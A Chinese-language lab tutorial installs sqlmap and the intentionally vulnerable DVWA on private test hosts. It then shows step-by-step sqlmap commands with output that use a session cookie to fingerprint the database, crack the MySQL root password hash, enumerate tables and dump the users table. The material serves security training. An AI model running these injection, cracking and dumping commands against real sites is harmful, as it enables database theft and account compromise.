通过sqlnamp检测sql注入漏洞
通过sqlnamp检测sql注入漏洞
1 sql注入概述并安装SQLmap漏洞查看工具
2 安装渗透测试演练系统DVWA
3 实战-使用SQLmap进行sql注入并获得后台管理员adnim帐号和密码
注: 网页最好不要使用GET方式提交,GET是明文方式进行提交,应该使用POST方式进行提交。
1.1 sql注入概述
所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
它是利用现有应用程序,可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库。
1.2 什么是SQLmap?
SQLmap是一款用来检测与利用SQL注入漏洞的免费开源工具,有一个非常棒的特性,即对检测与利用的自动化处理(数据库指纹、访问底层文件系统、执行命令)。
官方网站下载http://sqlmap.org/
安装SQLmap: k4 IP:10.27.17.34
渗透测试演练系统DVWA: k5 IP :10.27.17.62
安装SQlmap
[root@k4 yum.repos.d]# tar -zxvf sqlmapproject-sqlmap-1.3.9-13-gb51f02c.tar.gz
[root@k4 yum.repos.d]# tar -zxvf sqlmapproject-sqlmap-1.3.9-13-gb51f02c.tar.gz
[root@k4 sqlmapproject-sqlmap-b51f02c]# python -V
Python 2.7.5 #如果未安装PYTHON . yum install -y python
[root@k4 sqlmapproject-sqlmap-b51f02c]# ./sqlmap.py 启动
创建一个slqmap软件链接
[root@k4 sqlmapproject-sqlmap-b51f02c]# ln -s /root/sqlmapproject-sqlmap-b51f02c/sqlmap.py /usr/bin/sqlmap
2 安装渗透测试演练系统DVWA
DVWA (Dam Vulnerable Web Application)DVWA是用PHP+Mysql编写的一套用于常规WEB漏洞教学和检测的WEB脆弱性测试程序。包含了SQL注入、XSS、盲注等常见的一些安全漏洞。
官方网站:链接地址:http://www.dvwa.co.uk 由于是国外的网站,有时可能会打不开。
1、安装LANP
[root@k5 local]# yum install -y httpd php php-mysql php-gd mariadb-server mariadb mysql
注:php-gd库:gd库是php处理图形的扩展库,gd库提供了一系列用来处理图片的API,使用GD库可以处理图片,或者生成图片。 在网站上GD库通常用来生成缩略图或者用来对图片加水印或者对网站数据生成报表及验证码。
Complete!
2、启动相关服务
[root@k5 local]# systemctl restart httpd
[root@k5 local]# systemctl enable httpd
[root@k5 local]# systemctl restart mariadb
[root@k5 local]# systemctl enable mariadb
Created symlink from /etc/systemd/system/multi-user.target.wants/mariadb.service to /usr/lib/systemd/system/mariadb.service.
3、测试PHP网页是否运行
[root@k5 local]# vi /var/www/html/test.php
<?php
phpinfo();
?>
4、配置mysql数据root用户密码:
[root@k5 ~]# mysqladmin -u root password "123456"
[root@k5 ~]# mysql -u root -p123456
5、将下载的dvwa渗透系统代码上传到Linux上,并解压到网站根目录下
[root@xuegod63 ~]# unzip -d /var/www/html/ DVWA-1.9.zip
[root@k5 ~]# ll /var/www/html/
total 12
drwxr-xr-x 8 apache apache 4096 Feb 6 2019 DVWA-master
-rw-r--r-- 1 root root 12 Jun 28 11:10 index.html
[root@k5 ~]# chown -R apache:apache /var/www/html/DVWA-master/
6、编辑DVAW配置文件/dvwa/config/config.inc.php,配置数据库信息,user和password是MySQL的用户名和密码。
[root@k5 ~]# vim /var/www/html/DVWA-master/config/config.inc.php
7、部署DVWA网站系统
在浏览器中输入:http://10.27.17.62/DVWA-master/setup.php
[root@k5 ~]# systemctl restart httpd
8、修改DVWA配置 文件完成安装
[root@k5 ~]# vim /var/www/html/DVWA-master/config/config.inc.php
访问https://www.google.com/recaptcha/admin/create并用google账户登录,在文本框输入自己网站的网址,
如global-key.mycompany.com ,点击create key,生成Public Key和Private Key。
生成自己的谷歌开源免费验证码reCAPTCHA的公钥和私钥。
9、点 Create / Reset Database 创建测试数据库 DVWA
10、后期登录:
http://10.27.17.62/DVWA-master/login.php
dvwa的登录界面的默认用户名和密码为admin和password
3、使用SQLmap进行sql注入并获得后台管理员adnim帐号和密码
注入原理
SQLmap语法:SQLmap命令选项被归类为目标(Target)选项、请求(Request)选项、优化、注入、检测、技巧(Techniques)、指纹、枚举等。
查看sqlmap.py 帮助选项:
[root@k4 ~]# sqlmap -h
3.1举登录MYSQL数据的用户名与密码
1、使用SQLmap之前我们得到需要当前会话cookie等信息,用来在渗透过程中维持连接状态
Cookie 使用其复数形式称为cookies ,指某些网站为了识别用户的身份、进行session跟踪,而存储在用户本地终端上的数据(通常是经过加密)
只要登录过网站,就会在用户本地产生cookie,主要用于身份识别、进行session会话跟踪
2、抓取cookie
对于浏览器抓取cookie方法:打开一个网站,登录上用户名和密码,按F12 ,如下图
为方便演示,我们将DVWA安全等级设置为low:
接下来我们进入页面的“SQL Injection”部分,输入任意值并提交。可以看到get请求的ID参数如
http://10.27.17.62/DVWA-master/vulnerabilities/sqli/?id=22&Submit=Submit
这里有提交sql语句的地方,所以就是我们的一个sql注入点。
因此该页面就是我们的目标页面。
security low PHPSESSID vbbjtco9885lh8nh32bpnv3i25
3.2枚举登录数据库的用户名与当前正在使用的数据库名
sqlmap常用参数:
1、-u : 指定目标URL,syql注入点
2、--cookie : 当前会话的cookie值
3、-b : 获取数据库类型 检索数据库管理系统的标识
(DBMS:Database Management System 数据库管理系统)
4、--current-db : 获取当前数据库
5、--current-user :获取当前登录数据库使用的用户
[root@k4 ~]# sqlmap -u "http://10.27.17.62/DVWA-master/vulnerabilities/sqli/?id=22&Submit=Submit" --cookie="security=low; PHPSESSID=vbbjtco9885lh8nh32bpnv3i25" -b --current-db --current-user
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]Y #已经识别出来为mysql,现在直接跳过,不再扫描其他类型的数据库
back-end DBMS :后台数据库管理系统,
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n]n #这里写n 如果有想测试一些mysql其他值,就先Y,写Y测试时间比较长。
10:31:20] [INFO] the back-end DBMS is MySQL
[10:31:20] [INFO] fetching banner
web server operating system: Linux CentOS 7-1708
web application technology: Apache 2.4.6, PHP 5.4.16
back-end DBMS: MySQL >= 5.0
banner: '5.5.56-MariaDB'
[10:31:21] [INFO] fetching current user
current user: 'root@localhost'
[10:31:21] [INFO] fetching current database
current database: 'dvwa'
[10:31:21] [INFO] fetched data logged to text files under '/root/.sqlmap/output/10.27.17.62'
[*] ending @ 10:31:21 /2019-09-18/
3.3 使用命令用来枚举所有登录msyql数据库的用户名和密码hash值,后期可以对密码hash进行破解,生成明文密码
SQLmap使用选项:
1、--string : 当查询可用时用来匹配页面中的字符串
2、--users : 枚举DBMS用户
3、--password : 枚举DBMS用户密码hash
[root@k4 ~]# sqlmap -u "http://10.27.17.62/DVWA-master/vulnerabilities/sqli/?id=22&Submit=Submit" --cookie="security=low; PHPSESSID=vbbjtco9885lh8nh32bpnv3i25" --string="Surname" --users --password
database management system users [6]:
[*] ''@'k5'
[*] ''@'localhost'
[*] 'root'@'127.0.0.1'
[*] 'root'@'::1'
[*] 'root'@'k5'
[*] 'root'@'localhost'
[10:33:28] [INFO] fetching database users password hashes
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] y
[10:33:32] [INFO] writing hashes to a temporary file '/tmp/sqlmapFTy2SH2434/sqlmaphashes-XFWFKM.txt'
do you want to perform a dictionary-based attack against retrieved password hashes? [Y/n/q] y
[10:33:36] [INFO] using hash method 'mysql_passwd'
what dictionary do you want to use?
[1] default dictionary file '/etc/yum.repos.d/sqlmapproject-sqlmap-b51f02c/data/txt/wordlist.tx_' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
> 1
[10:34:16] [INFO] using default dictionary
do you want to use common password suffixes? (slow!) [y/N] y
[10:34:23] [INFO] starting dictionary-based cracking (mysql_passwd)
[10:34:23] [WARNING] multiprocessing hash cracking is currently not supported on this platform
[10:34:31] [INFO] cracked password '123456' for user 'root'
database management system users password hashes:
[*] root [1]:
password hash: *6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9
clear-text password: 123456 密码被破解出来。
[10:34:31] [INFO] fetched data logged to text files under '/root/.sqlmap/output/10.27.17.62'
[*] ending @ 10:34:31 /2019-09-18/
3.4 实战3-1:枚举dvwa库的中表
使用选项:
1、-D : 要枚举的DBMS数据库
2、--tables : 枚举DBMS数据库中的数据表
[root@k4 ~]# sqlmap -u "http://10.27.17.62/DVWA-master/vulnerabilities/sqli/?id=22&Submit=Submit" --cookie="security=low; PHPSESSID=vbbjtco9885lh8nh32bpnv3i25" -D dvwa --tables
3.5获取dvwa库中users表的所有列名字
使用选项:
-T : 要枚举的DBMS数据库表
--columns : 枚举DBMS数据库表中的所有列
[root@k4 ~]# sqlmap -u "http://10.27.17.62/DVWA-master/vulnerabilities/sqli/?id=22&Submit=Submit" --cookie="security=low; PHPSESSID=vbbjtco9885lh8nh32bpnv3i25" -D dvwa -T users --columns
3.6 拖库,获取dvwa库中users表的所有列名字
拖库本来是数据库领域的术语,指从数据库中导出数据。到了黑客攻击泛滥的今天,它被用来指网站遭到入侵后,黑客窃取其数据库。
使用选项:
-T : 要枚举的DBMS数据表
-C: 要枚举的DBMS数据表中的列
--dump : 转储DBMS数据表项
sqlmap -u "http://10.27.17.62/DVWA-master/vulnerabilities/sqli/?id=22&Submit=Submit" --cookie="security=low; PHPSESSID=vbbjtco9885lh8nh32bpnv3i25" -D dvwa -T users -C user,password --dump
[root@k4 output]# vim /root/.sqlmap/output/10.27.17.62/dump/dvwa/users.csv
chown apache:apache /var/www/html/DVWA-1.9/ -R